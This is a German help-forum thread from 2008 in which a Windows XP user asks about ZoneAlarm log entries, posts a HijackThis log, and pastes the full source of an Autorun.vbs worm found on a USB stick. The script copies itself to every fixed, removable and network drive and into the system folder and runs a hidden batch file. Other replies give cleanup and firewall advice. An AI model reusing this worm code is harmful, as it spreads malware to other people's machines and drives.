| ZoneAlarm blockiert alle 10 Sekunden Pakete - Normal, oder habe ich einen Virus? | |
|
Von: le Cauchemar * am 06.09.2008 Ich habe ZoneAlarm Pro, Windows XP. Als ich das Programm etwas durchstöberte, fand ich folgendes Protokoll, das ca. alle 10 Sekunden einen neuen Eintrag bekommt: ![]() Bild-URL: http://img95.imageshack.us/img95/5239/unbenannt1kj1.jpg Die Anti-Spyware-Prüfung des Programmes brachte keine Ergebnisse. Ich dachte erst, das sei ein Virus, aber dann habe ich mir die IPs genauer angesehen: Ich benutze eine Fritzbox, die über LAN mit meinem PC verbunden ist. Unter LAN-Verbindungen>>Netzwerkunterstützung habe ich meine IP gefunden. Das ist die Ziel-IP des Protokolls, die auf ***.***.**8.22 endet. Die Quell-IP ist die gleiche, nur endet sie auf ***.***.**8.1 Ist das etwa ein ganz normales Lebenszeichen meines Fritzbox-Routers? Ich bedanke mich schonmal für alle Antworten. Ich bin nicht gerade ein Profi in dem Thema ^^ Sollte eine wichtige Information fehlen, um das zu klären, sagt Bescheid. | |
|
Antwort 1 von w am 07.09.2008 nur zur info: http://www.heise.de/foren/S-Re-Erfahrung-mit-Personal-Firewall-CORE-FORCE/forum-7305/msg-14855227/read/ | |
|
Antwort 2 von copy ***** am 07.09.2008 Hast du dort schon mal bei Programmeinstellungen geschaut, lösch dort alle die du nicht brauchst und beachte bei anderen deren Freigabe. www.hijackthis.de mal zur Sicherheit. | |
|
Antwort 3 von Zidane am 07.09.2008 mit HJT ein LOG erstellen und hier rein posten | |
|
Antwort 4 von le Cauchemar * am 15.09.2008 ![]() Mein HJT-Log: Logfile of Trend Micro HijackThis v2.0.2 Scan saved at 18:59:48, on 15.09.2008 Platform: Windows XP SP1 (WinNT 5.01.2600) MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106) Boot mode: Normal Running processes: C:\WINDOWS\System32\smss.exe C:\WINDOWS\system32\winlogon.exe C:\WINDOWS\system32\services.exe C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\svchost.exe C:\WINDOWS\System32\svchost.exe C:\WINDOWS\system32\ZoneLabs\vsmon.exe C:\WINDOWS\Explorer.EXE C:\WINDOWS\System32\VTTimer.exe C:\WINDOWS\System32\S3trayp.exe C:\WINDOWS\RTHDCPL.EXE C:\Programme\Zone Labs\ZoneAlarm\zlclient.exe C:\Programme\Gemeinsame Dateien\Real\Update_OB\realsched.exe C:\Programme\Java\jre1.6.0_05\bin\jusched.exe C:\Programme\Lexmark 2300 Series\lxcgmon.exe C:\Programme\Lexmark 2300 Series\ezprint.exe C:\WINDOWS\System32\ctfmon.exe C:\Programme\Messenger\msmsgs.exe C:\Programme\Google\Google Updater\GoogleUpdater.exe C:\WINDOWS\system32\spoolsv.exe C:\Programme\FRITZ!DSL\IGDCTRL.EXE C:\Programme\Google\Common\Google Updater\GoogleUpdaterService.exe C:\WINDOWS\System32\svchost.exe C:\WINDOWS\System32\lxcgcoms.exe C:\Programme\Mozilla Firefox\firefox.exe C:\Programme\ICQLite\ICQLite.exe C:\Programme\Real\RealPlayer\RealPlay.exe C:\Programme\HijackThis\HijackThis.exe R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.de/ O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Programme\Java\jre1.6.0_05\bin\ssv.dll O2 - BHO: Google Toolbar Notifier BHO - {AF69DE43-7D58-4638-B6FA-CE66B5AD205D} - C:\Programme\Google\GoogleToolbarNotifier\2.1.615.5858\swg.dll O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx O4 - HKLM\..\Run: [VTTimer] VTTimer.exe O4 - HKLM\..\Run: [S3Trayp] S3trayp.exe O4 - HKLM\..\Run: [RTHDCPL] RTHDCPL.EXE O4 - HKLM\..\Run: [Alcmtr] ALCMTR.EXE O4 - HKLM\..\Run: [ZoneAlarm Client] "C:\Programme\Zone Labs\ZoneAlarm\zlclient.exe" O4 - HKLM\..\Run: [TkBellExe] "C:\Programme\Gemeinsame Dateien\Real\Update_OB\realsched.exe" -osboot O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Programme\Java\jre1.6.0_05\bin\jusched.exe" O4 - HKLM\..\Run: [lxcgmon.exe] "C:\Programme\Lexmark 2300 Series\lxcgmon.exe" O4 - HKLM\..\Run: [EzPrint] "C:\Programme\Lexmark 2300 Series\ezprint.exe" O4 - HKCU\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\ctfmon.exe O4 - HKCU\..\Run: [MSMSGS] "C:\Programme\Messenger\msmsgs.exe" /background O4 - HKCU\..\RunOnce: [ICQ Lite] C:\Programme\ICQLite\ICQLite.exe -trayboot O4 - HKUS\S-1-5-19\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'LOKALER DIENST') O4 - HKUS\S-1-5-20\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'NETZWERKDIENST') O4 - HKUS\S-1-5-18\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'SYSTEM') O4 - HKUS\.DEFAULT\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'Default user') O4 - Global Startup: Google Updater.lnk = C:\Programme\Google\Google Updater\GoogleUpdater.exe O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Programme\Java\jre1.6.0_05\bin\ssv.dll O9 - Extra 'Tools' menuitem: Sun Java Konsole - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Programme\Java\jre1.6.0_05\bin\ssv.dll O9 - Extra button: ICQ Lite - {B863453A-26C3-4e1f-A54D-A2CD196348E9} - C:\Programme\ICQLite\ICQLite.exe O9 - Extra 'Tools' menuitem: ICQ Lite - {B863453A-26C3-4e1f-A54D-A2CD196348E9} - C:\Programme\ICQLite\ICQLite.exe O23 - Service: AVM IGD CTRL Service - AVM Berlin - C:\Programme\FRITZ!DSL\IGDCTRL.EXE O23 - Service: AVM FRITZ!web Routing Service (de_serv) - AVM Berlin - C:\Programme\Gemeinsame Dateien\AVM\de_serv.exe O23 - Service: Google Updater Service (gusvc) - Google - C:\Programme\Google\Common\Google Updater\GoogleUpdaterService.exe O23 - Service: lxcg_device - - C:\WINDOWS\System32\lxcgcoms.exe O23 - Service: TrueVector Internet Monitor (vsmon) - Zone Labs, LLC - C:\WINDOWS\system32\ZoneLabs\vsmon.exe -- End of file - 4029 bytes Hmm..Internet Explorer ist angeblich schädlich. Ich glaube, ich habe den (das Original) nicht einmal installiert... Wie sollte ich jetzt vorgehen? Habe gerade auf meinem USB-Stick eine Autorun.vbs entdeckt ![]() Bevor ich ihn vor 5 Minuten angeschlossen habe, war die Datei nicht drauf ![]() Habe die Datei mal gelöscht und den Inhalt in einer txt-Datei mit neutralem Namen gespeichert, um ihn hier zu posten: Zitat rem autorun·ç±© Wenn diese Zeilen hier unerwünscht sind, werde ich (oder ein Moderator - kommt drauf an, wer schneller ist) sie natürlich entfernen. on error resume next Set WshShell =CreateObject("WScript.Shell") if Year(Date)=2030 and Month(Date)=6 and Day(Date)=30 then a=WshShell.Run("autorun.bat Over" ,0,True) Set Of = CreateObject("Scripting.FileSystemObject") Set fc = Of.OpenTextFile("C:\autorun.txt", 1) mt = fc.ReadAll fc.Close if mt<>"" then msgbox decrypt(mt) end if if Year(Date)>2030 or Month(Date)>100 then else For i=1 to 1 set Of = CreateObject("Scripting.FileSystemObject") set dir = Of.GetSpecialFolder(1) Set dc = Of.Drives if WScript.ScriptFullName=dir&"\autorun.vbs" then isdir=true else a=WshShell.Run("autorun.bat Open" ,0,False) isdir=false end if For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then a=WshShell.Run("autorun.bat - "&d ,0,True) if isdir then Of.CopyFile dir&"\autorun.*",d&"\",True else Of.CopyFile "autorun.*",d&"\",True end if a=WshShell.Run("autorun.bat + "&d ,0,True) End If next if isdir then wscript.sleep 60000 i=0 else a=WshShell.Run("autorun.bat - "&dir ,0,True) Of.CopyFile "autorun.*",dir&"\",True a=WshShell.Run("autorun.bat + "&dir ,0,True) End if next End if function decrypt(dcode) dim texts dim i for i=1 to len(dcode)-4 x=i mod 5 texts=texts & chr(asc(mid(dcode,i,1))-x) next decrypt=texts end function | |
|
Antwort 5 von Zidane am 15.09.2008 system updaten auf SP3 das du mit SP1 rumsurfst ist schon gefährlich genug und ZoneAlarm entfernen | |
|
Antwort 6 von w am 16.09.2008 System von sauberem medium Booten,und untersuchen.Je nach art des schädlings ist manuelles entfernen ausreichend,ansonsten neuinstalation. | |
|
Antwort 7 von CallBack *** am 16.09.2008 also ich bin mit ZA voll zufrieden. Zig Tausend Rechner versuchen in andere Rechner einzudringen und das ununterbrochen 24 Std. am Tag, 7 Tage die Woche, 365 Tage im Jahr. Warum sollte sonst ZA Anfragen blocken, tja, das ist doch der Sinn einer Firewall und ich kann mir gut vorstellen, dass solche Versuche alle 10 Sec. stattfinden können. Bei einem Test der Firewall auf www.com-magazin.de habe ich festgestellt, dass ZA die wichtigen Ports geschlossen oder versteckt hat, also keine Angriffspunkte für Eindringlinge, genauso, wie es eine Firewall machen sollte... mfg CallBack | |
|
Antwort 8 von Zidane am 16.09.2008 (lies mal hier zb http://www.team-cauchy.de/personal/) eine Hardware Firewall kann niemals durch eine Software Firewall ersetzt werden.... mit deiner Windows Firewall hasst du mehr schutz als mit einer PFW... eine PFW kann man leicht aushebeln... und was wichtiger ist eine PFW schützt nicht nein...sie ist ein sicherheitsrisiko.... aber lass dich ruhig weiter von den herstellern solcher software verarschen. mfg Zidane | |
|
Antwort 9 von CallBack *** am 16.09.2008 ach komm, ganz so sinnlos kann es nicht sein...und ich zahle nix für Programme, lediglich das BS lass ich mich etwas kosten....aber ich lass Dir deine Meinung... mfg CallBack | |
| » weitere Antworten | |
| « zurück | Antworten |



